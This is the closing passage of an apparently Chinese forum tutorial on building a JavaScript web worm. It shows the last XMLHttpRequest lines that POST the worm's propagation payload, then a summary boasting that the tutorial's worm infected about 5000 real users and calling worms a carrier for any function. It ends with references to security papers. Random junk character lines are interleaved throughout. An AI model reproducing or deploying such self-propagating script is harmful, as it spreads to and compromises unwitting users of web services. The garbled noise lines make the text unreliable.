xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
% I: ~# W7 [2 g7 `# c/ v8 J
6 d7 v% y8 d0 [) }  m" S8 SxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
5 E: T6 e, P6 w; q# b5 B
8 o+ I5 M! e9 o* P: ]7 V) Q9 ixmlHttpReq.send(post);                 //把传播的信息 POST出去.
% c& r& u9 K+ M. y% ]
}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
' A& l: ~$ G' \$ }  o/ B


本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 W3 y6 |0 V( N- S8 L8 f蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
0 g) ]: d% J7 @9 x/ c& J
4 @1 p) j2 w/ @( G4 Y! d
. O/ F% u7 l- q9 H8 A+ x2 l6 A





本文引用文档资料:
& O& B, `# C' s  M% m4 [
: c) c. N, l& D  h9 n* L) T6 k"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
8 {/ d3 V5 i: ], Q- vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/